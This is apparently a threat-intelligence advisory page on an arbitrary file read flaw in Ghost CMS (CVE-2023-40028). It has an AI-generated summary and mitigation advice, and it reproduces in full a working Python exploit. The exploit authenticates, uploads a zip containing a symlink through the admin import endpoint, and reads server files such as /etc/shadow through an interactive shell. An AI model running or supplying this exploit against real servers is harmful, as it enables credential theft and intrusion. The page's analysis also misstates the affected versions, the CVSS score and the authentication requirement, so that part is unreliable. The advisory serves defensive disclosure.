Ghost CMS 5.59.1 - Arbitrary File Read
Ghost CMS 5.59.1 - Arbitrary File Read
AI Analysis
Technical Summary
The reported security threat concerns an arbitrary file read vulnerability in Ghost CMS version 5.59.1. Ghost CMS is a popular open-source content management system primarily used for blogging and publishing. An arbitrary file read vulnerability allows an attacker to read files from the server's filesystem that should normally be inaccessible. This can lead to the disclosure of sensitive information such as configuration files, credentials, or other private data stored on the server. The exploit targets Ghost CMS 5.59.1, although the affectedVersions field is empty, indicating that the vulnerability is confirmed in this specific version. The presence of exploit code written in Python suggests that the attack can be automated and executed remotely, potentially without authentication or user interaction, depending on the vulnerability's nature. Since the vulnerability is categorized as medium severity and no CVSS score is provided, the impact is significant but not critical. The lack of patch links indicates that a fix may not yet be publicly available or widely distributed. The exploit being listed on Exploit-DB and having a dedicated EDB ID (52409) confirms that the vulnerability is known and documented in the security community, though there are no known exploits in the wild at this time. This vulnerability is relevant for web servers running Ghost CMS 5.59.1, and attackers could leverage it to gain unauthorized access to sensitive files, potentially leading to further compromise of the web application or server environment.
Potential Impact
For European organizations using Ghost CMS 5.59.1, this arbitrary file read vulnerability poses a risk of sensitive data exposure, including configuration files, database credentials, or private keys. Such data leakage can facilitate further attacks like privilege escalation, data theft, or persistent access. Organizations in sectors such as media, publishing, education, and any business relying on Ghost CMS for their web presence could be impacted. The exposure of sensitive information could lead to reputational damage, regulatory non-compliance (e.g., GDPR violations if personal data is exposed), and financial losses. Since Ghost CMS is often used for public-facing websites, exploitation could also result in defacement or injection of malicious content if attackers leverage the information gained. The medium severity rating suggests that while the vulnerability is serious, it may require some level of attacker skill or specific conditions to exploit effectively. However, the availability of Python exploit code lowers the barrier for attackers, increasing the risk. The absence of known exploits in the wild currently reduces immediate threat but does not eliminate future risk.
Mitigation Recommendations
European organizations should immediately assess their use of Ghost CMS and identify any instances running version 5.59.1. Until an official patch is released, organizations should consider the following mitigations: 1) Restrict access to the Ghost CMS administrative interface and server files using network-level controls such as firewalls and VPNs to limit exposure. 2) Implement strict file system permissions to ensure the web server process cannot read sensitive files beyond what is necessary. 3) Monitor web server logs for suspicious requests that may indicate attempts to exploit arbitrary file read vulnerabilities. 4) Employ Web Application Firewalls (WAFs) with custom rules to detect and block patterns consistent with arbitrary file read attempts. 5) If possible, upgrade to a later version of Ghost CMS once a patch is available or temporarily disable vulnerable features. 6) Conduct regular security audits and penetration tests focusing on web application vulnerabilities. 7) Educate development and operations teams about the risk and signs of exploitation to enable rapid response.
Affected Countries
United Kingdom, Germany, France, Netherlands, Sweden, Italy, Spain
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read # Date: 2023-09-20 # Exploit Author: ibrahimsql (https://github.com/ibrahmsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.59.1 # Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur # CVE: CVE-2023-40028 # Category: Web Application Security # CVSS Score: 6.5 (Medium) # Description: # Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users # to upload files that are symlinks. This can be exploited to perform arbitrary file reads # of any file on the host operating system. The vulnerability exists in the file upload # mechanism which improperly validates symlink files, allowing attackers to access files # outside the intended directory structure through symlink traversal. # Requirements: requests>=2.28.1, zipfile, tempfile # Usage Examples: # python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123 # python3 CVE-2023-40028.py https://ghost.example.com user@domain.com mypassword # Interactive Usage: # After running the script, you can use the interactive shell to read files: # file> /etc/passwd # file> /etc/shadow # file> /var/log/ghost/ghost.log # file> exit """ import requests import sys import os import tempfile import zipfile import random import string from typing import Optional class ExploitResult: def __init__(self): self.success = False self.file_content = "" self.status_code = 0 self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read" self.severity = "Medium" class GhostArbitraryFileRead: def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True): self.ghost_url = ghost_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.9' }) self.api_url = f"{self.ghost_url}/ghost/api/v3/admin" def authenticate(self) -> bool: """Authenticate with Ghost CMS admin panel""" login_data = { 'username': self.username, 'password': self.password } headers = { 'Origin': self.ghost_url, 'Accept-Version': 'v3.0', 'Content-Type': 'application/json' } try: response = self.session.post( f"{self.api_url}/session/", json=login_data, headers=headers, timeout=10 ) if response.status_code == 201: if self.verbose: print("[+] Successfully authenticated with Ghost CMS") return True else: if self.verbose: print(f"[-] Authentication failed: {response.status_code}") return False except requests.RequestException as e: if self.verbose: print(f"[-] Authentication error: {e}") return False def generate_random_name(self, length: int = 13) -> str: """Generate random string for image name""" return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def create_exploit_zip(self, target_file: str) -> Optional[str]: """Create exploit zip file with symlink""" try: # Create temporary directory temp_dir = tempfile.mkdtemp() exploit_dir = os.path.join(temp_dir, 'exploit') images_dir = os.path.join(exploit_dir, 'content', 'images', '2024') os.makedirs(images_dir, exist_ok=True) # Generate random image name image_name = f"{self.generate_random_name()}.png" symlink_path = os.path.join(images_dir, image_name) # Create symlink to target file os.symlink(target_file, symlink_path) # Create zip file zip_path = os.path.join(temp_dir, 'exploit.zip') with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, dirs, files in os.walk(exploit_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) return zip_path, image_name except Exception as e: if self.verbose: print(f"[-] Error creating exploit zip: {e}") return None, None def upload_exploit(self, zip_path: str) -> bool: """Upload exploit zip file to Ghost CMS""" try: headers = { 'X-Ghost-Version': '5.58', 'X-Requested-With': 'XMLHttpRequest', 'Origin': self.ghost_url, 'Referer': f"{self.ghost_url}/ghost/" } with open(zip_path, 'rb') as f: files = { 'importfile': ('exploit.zip', f, 'application/zip') } response = self.session.post( f"{self.api_url}/db", files=files, headers=headers, timeout=30 ) if response.status_code in [200, 201]: if self.verbose: print("[+] Exploit zip uploaded successfully") return True else: if self.verbose: print(f"[-] Upload failed: {response.status_code}") return False except requests.RequestException as e: if self.verbose: print(f"[-] Upload error: {e}") return False def read_file(self, target_file: str) -> ExploitResult: """Read arbitrary file using symlink upload""" result = ExploitResult() if not self.authenticate(): return result if self.verbose: print(f"[*] Attempting to read file: {target_file}") # Create exploit zip zip_path, image_name = self.create_exploit_zip(target_file) if not zip_path: return result try: # Upload exploit if self.upload_exploit(zip_path): # Try to access the symlinked file file_url = f"{self.ghost_url}/content/images/2024/{image_name}" response = self.session.get(file_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: result.success = True result.file_content = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Successfully read file: {target_file}") print(f"[+] File content length: {len(response.text)} bytes") else: if self.verbose: print(f"[-] Failed to read file: {response.status_code}") except Exception as e: if self.verbose: print(f"[-] Error during exploit: {e}") finally: # Cleanup try: if zip_path and os.path.exists(zip_path): os.remove(zip_path) temp_dir = os.path.dirname(zip_path) if zip_path else None if temp_dir and os.path.exists(temp_dir): import shutil shutil.rmtree(temp_dir) except: pass return result def interactive_shell(self): """Interactive shell for file reading""" print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===") print("Enter file paths to read (type 'exit' to quit)") while True: try: file_path = input("file> ").strip() if file_path.lower() == 'exit': print("Bye Bye!") break if not file_path: print("Please enter a file path") continue if ' ' in file_path: print("Please enter full file path without spaces") continue result = self.read_file(file_path) if result.success: print(f"\n--- Content of {file_path} ---") print(result.file_content) print("--- End of file ---\n") else: print(f"Failed to read file: {file_path}") except KeyboardInterrupt: print("\nExiting...") break except Exception as e: print(f"Error: {e}") def main(): if len(sys.argv) != 4: print("Usage: python3 CVE-2023-40028.py <ghost_url> <username> <password>") print("Example: python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123") return ghost_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True) # Test with common sensitive files test_files = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/proc/version", "/var/log/ghost/ghost.log" ] print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===") print(f"Target: {ghost_url}") print(f"Username: {username}") # Test authentication first if not exploit.authenticate(): print("[-] Authentication failed. Please check credentials.") return print("\n[*] Testing common sensitive files...") for test_file in test_files: result = exploit.read_file(test_file) if result.success: print(f"[+] Successfully read: {test_file}") print(f" Content preview: {result.file_content[:100]}...") else: print(f"[-] Failed to read: {test_file}") # Start interactive shell exploit.interactive_shell() if __name__ == "__main__": main()
Ghost CMS 5.59.1 - Arbitrary File Read
Description
Ghost CMS 5.59.1 - Arbitrary File Read
AI-Powered Analysis
Technical Analysis
The reported security threat concerns an arbitrary file read vulnerability in Ghost CMS version 5.59.1. Ghost CMS is a popular open-source content management system primarily used for blogging and publishing. An arbitrary file read vulnerability allows an attacker to read files from the server's filesystem that should normally be inaccessible. This can lead to the disclosure of sensitive information such as configuration files, credentials, or other private data stored on the server. The exploit targets Ghost CMS 5.59.1, although the affectedVersions field is empty, indicating that the vulnerability is confirmed in this specific version. The presence of exploit code written in Python suggests that the attack can be automated and executed remotely, potentially without authentication or user interaction, depending on the vulnerability's nature. Since the vulnerability is categorized as medium severity and no CVSS score is provided, the impact is significant but not critical. The lack of patch links indicates that a fix may not yet be publicly available or widely distributed. The exploit being listed on Exploit-DB and having a dedicated EDB ID (52409) confirms that the vulnerability is known and documented in the security community, though there are no known exploits in the wild at this time. This vulnerability is relevant for web servers running Ghost CMS 5.59.1, and attackers could leverage it to gain unauthorized access to sensitive files, potentially leading to further compromise of the web application or server environment.
Potential Impact
For European organizations using Ghost CMS 5.59.1, this arbitrary file read vulnerability poses a risk of sensitive data exposure, including configuration files, database credentials, or private keys. Such data leakage can facilitate further attacks like privilege escalation, data theft, or persistent access. Organizations in sectors such as media, publishing, education, and any business relying on Ghost CMS for their web presence could be impacted. The exposure of sensitive information could lead to reputational damage, regulatory non-compliance (e.g., GDPR violations if personal data is exposed), and financial losses. Since Ghost CMS is often used for public-facing websites, exploitation could also result in defacement or injection of malicious content if attackers leverage the information gained. The medium severity rating suggests that while the vulnerability is serious, it may require some level of attacker skill or specific conditions to exploit effectively. However, the availability of Python exploit code lowers the barrier for attackers, increasing the risk. The absence of known exploits in the wild currently reduces immediate threat but does not eliminate future risk.
Mitigation Recommendations
European organizations should immediately assess their use of Ghost CMS and identify any instances running version 5.59.1. Until an official patch is released, organizations should consider the following mitigations: 1) Restrict access to the Ghost CMS administrative interface and server files using network-level controls such as firewalls and VPNs to limit exposure. 2) Implement strict file system permissions to ensure the web server process cannot read sensitive files beyond what is necessary. 3) Monitor web server logs for suspicious requests that may indicate attempts to exploit arbitrary file read vulnerabilities. 4) Employ Web Application Firewalls (WAFs) with custom rules to detect and block patterns consistent with arbitrary file read attempts. 5) If possible, upgrade to a later version of Ghost CMS once a patch is available or temporarily disable vulnerable features. 6) Conduct regular security audits and penetration tests focusing on web application vulnerabilities. 7) Educate development and operations teams about the risk and signs of exploitation to enable rapid response.
Affected Countries
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Technical Details
- Edb Id
- 52409
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ghost CMS 5.59.1 - Arbitrary File Read
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read # Date: 2023-09-20 # Exploit Author: ibrahimsql (https://github.com/ibrahmsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.59.1 # Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur # CVE: CVE-2023-40028 # Category: Web Application Security # CVSS Score: 6.5 (Medium) # Description: # Ghost CMS versions prior to 5.59.1 contain a v... (10516 more characters)
Threat ID: 689a95b8ad5a09ad002b0967
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/12/2025, 1:16:09 AM
Last updated: 8/17/2025, 1:15:08 AM
Views: 4
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